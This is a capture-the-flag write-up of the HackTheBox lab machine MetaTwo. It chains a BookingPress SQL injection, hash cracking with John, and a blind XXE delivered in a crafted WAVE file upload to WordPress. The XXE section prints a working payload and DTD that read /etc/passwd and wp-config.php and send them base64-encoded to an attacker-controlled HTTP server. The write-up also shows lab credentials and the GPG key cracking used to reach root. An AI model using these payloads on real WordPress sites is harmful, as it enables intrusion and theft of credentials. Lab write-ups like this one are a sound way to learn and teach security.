MetaTwo – HackTheBox Writeup
Machine Name: MetaTwo
IP: 10.10.11.186
Difficulty: Easy
Summary
MetaTwo is an easy machine that needs exploiting a SQLi that leads us to hashes that need to be cracked. The cracked hash credentials provide access to a WordPress dashboard. This WordPress version is vulnerable to Blind XXE via a WAVE file format metadata. The XXE gives us access to the “wp-config.php” file which contains cleartext password for FTP. Enumerating the FTP server, SSH credentials are found for user. Privilege Escalation requires understanding of private and public keys and different methods that are used to encrypt them. Passpie is the application that was used to encrypt private keys found. We can crack the GPG format keys using John and gain the credentials for root.
Information Gathering
Nmap scan shows that port 21 (FTP), 22 (SSH), 80 (HTTP) are open. The web server running on port 80 is nginx 1.18.0. Since it redirects to “http://metapress.htb/”, let’s add it to the /etc/hosts file.
On visiting the site, we understand that it is a WordPress site that has only one post that invites users to signup to the launch event from “metapress.htb/events”. The “About” page does not look interesting. The events page lets you register and books an appointment.
My first thoughts were to check which application is being used to book appointments and what version of wordpress is running to check for known vulnerabilities. I checked the source and observed that the WordPress version is 5.6.2 and that the booking application was “Booking Press 1.0.10”. We could also use the Wappalyzer extension or wpscan to gain the WordPress version and other information such as the fact that the server is running PHP 8.0.24.
wpscan --url metapress.htb/ --enumerate
WordPress 5.6.2 and Bookingpress 1.0.10 have vulnerabilities specific to them. Bookingpress 1.0.10 is vulnerable to an unauthenticated SQL Injection. Read the PoC here.
The PoC needs the “nonce” value and uses that to make requests. If you capture the request of /events page, it makes requests to the “/wp-admin/admin-ajax.php” script where it uses “wp_nonce” as one of the parameters. You can find it the value in the source code as well.
Since the PoC has a SQL version and time based payload being injected using curl, I only copied the parameters being send in the POST request and pasted it in the captured burp request, replacing the “wp_nonce” value and removing the payload from the PoC. It looked like the below image.
action=bookingpress_front_get_category_services&_wpnonce=b0fa38a593&category_id=33&total_service=123
Now all we need is SQLmap to find the injection and give us some information. I saved the request in a file and ran SQLmap.
sqlmap -r sqli.req --batch -p total_service --dump
It is observed that the database name is “blog” and it contains a table called “wp_users” that it contains hashes for two users, admin and manager.
$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV. | admin@metapress.htb $P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70 | manager@metapress.htb
Let’s try to crack these hashes using John.
vi hashes.txt admin:$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV. manager:$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70 john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
We find that only manager’s hash was cracked. I tried to use this password to login to FTP, but that did not work.
ftp manager@metapress.htb
The only other way we can use these credentials is at the wordpress login. We can successfully login to the wordpress panel.
I looked for WordPress 5.6.2 vulnerabilities and came across this Link-One, which lead me to Link-Two, and Link-Three.
The vulnerability lies in the way that wordpress reads the metadata from iXML. If the metadata contains a malicious payload, it will be parsed. The payload used in this case is executing the evil.dtd file and parsing the contents of the file. The evil.dtd file reads the /etc/passwd file, and base64 encodes it. We will need to host a server that would catch this blind XXE.
# Basic Payload: <?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM 'http://example.com/evil.dtd'>%remote;%init;%trick;]> #evil.dtd <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd"> <!ENTITY % init "<!ENTITY % trick SYSTEM 'http://10.10.16.8:8000/?p=%file;'>" >
Note: I wasted a lot of time using WP-Sec’s payload as it did not work. It returns some gibberish. I couldn’t figure out what was broken, but checking other posts related to this vulnerability led me to the above payload that worked perfectly.
When creating the wave file, we just need to add those magic bytes in the beginning and the payload as the data inside it.
echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://10.10.16.8:8000/evil.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav
We start a server listening on 8000 and wait for the XXE to execute and return the base64 encoded output of /etc/passwd upon uploading the wave file in the wordpress media library.
python3 -m http.server echo -n "cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovcnVuL2lyY2Q6L3Vzci9zYmluL25vbG9naW4KZ25hdHM6eDo0MTo0MTpHbmF0cyBCdWctUmVwb3J0aW5nIFN5c3RlbSAoYWRtaW4pOi92YXIvbGliL2duYXRzOi91c3Ivc2Jpbi9ub2xvZ2luCm5vYm9keTp4OjY1NTM0OjY1NTM0Om5vYm9keTovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4KX2FwdDp4OjEwMDo2NTUzNDo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtbmV0d29yazp4OjEwMToxMDI6c3lzdGVtZCBOZXR3b3JrIE1hbmFnZW1lbnQsLCw6L3J1bi9zeXN0ZW1kOi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtcmVzb2x2ZTp4OjEwMjoxMDM6c3lzdGVtZCBSZXNvbHZlciwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4KbWVzc2FnZWJ1czp4OjEwMzoxMDk6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgpzc2hkOng6MTA0OjY1NTM0OjovcnVuL3NzaGQ6L3Vzci9zYmluL25vbG9naW4Kam5lbHNvbjp4OjEwMDA6MTAwMDpqbmVsc29uLCwsOi9ob21lL2puZWxzb246L2Jpbi9iYXNoCnN5c3RlbWQtdGltZXN5bmM6eDo5OTk6OTk5OnN5c3RlbWQgVGltZSBTeW5jaHJvbml6YXRpb246LzovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLWNvcmVkdW1wOng6OTk4Ojk5ODpzeXN0ZW1kIENvcmUgRHVtcGVyOi86L3Vzci9zYmluL25vbG9naW4KbXlzcWw6eDoxMDU6MTExOk15U1FMIFNlcnZlciwsLDovbm9uZXhpc3RlbnQ6L2Jpbi9mYWxzZQpwcm9mdHBkOng6MTA2OjY1NTM0OjovcnVuL3Byb2Z0cGQ6L3Vzci9zYmluL25vbG9naW4KZnRwOng6MTA3OjY1NTM0Ojovc3J2L2Z0cDovdXNyL3NiaW4vbm9sb2dpbgo=" | base64 -d
Finally, we can decode the message received on the server and read the contents of the /etc/passwd file.
The /etc/passwd file reveals that a user named “jnelson” exists. This does not help us much as we do not have the credentials for “jnelson”.
Getting User Shell
Maybe we could look through other interesting files such as wp-config.php file that contains the wordpress configuration in hopes that we might find some database credentials.
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=..//wp-config.php"> <!ENTITY % init "<!ENTITY % trick SYSTEM 'http://10.10.16.8:8000/?p=%file;'>" >
And voila! The database and FTP credentials are found in clear text. Note that the wp-config.php file is one directory above the present working directory.
If we try the database password with the “admin” user in the wordpress site, it does not work. Let’s try the FTP credentials.
ftp metapress.htb metapress.htb 9NYS_ii@FyL_p5M2NvJ
We are successfully logged in and we can browse through directories.
Before enumerating any further, I tested if I could write files into the FTP server using the “put” command to upload a webshell such as wwwolf. Unfortunately, we can only read files. We see two directories, blog and mailer. I found a file named “send_email.php” that I downloaded using the “get” command in FTP.
cd mailer ls get send_mail.php
The file contained the credentials of “jnelson”. We can use these credentials to possibly login through SSH and get a shell.
We are successfully logged in through SSH.
ssh jnelson@metapress.htb
Privilege Escalation
Getting the easy CTF check of “sudo -l” out of the way first, we find that it does not work. We do find an interesting hidden directory called “passpie”.
Upon googling passpie, I understood that it is a command line password manager. The directory contains the pass files of jnelson and root. It looks like a PGP message and somehow we need to find a key that can help us read this message. The Github page of passpie says “Password files are encrypted using GnuPG and saved into yaml text files”.
cat jnelson.pass
Two other files called .config, and .keys also exist in the same directory. The config file is empty where as the keys file contains a public and private PGP key.
Let’s copy the private key that is used to encrypt messages, get the hash for the private key and crack the hash using John. Ensure you provide the format, otherwise you’d be stuck like me understanding why John says “No password hashes loaded”.
echo "<private key>" > private.key gpg2john private.key > hash.gpg john hash.gpg --wordlist=/usr/share/wordlists/rockyou.txt --format=gpg
Finally, we’ve cracked the hashes and found the password.
We can now use this password to export the passwords stored in passpie in plaintext.
passpie export /tmp/passpie_passwords blink182 cat /tmp/passpie_passwords rm /tmp/passpie_passwords
The passpie file contains the root password which we can use to switch user as root.
Pwned root!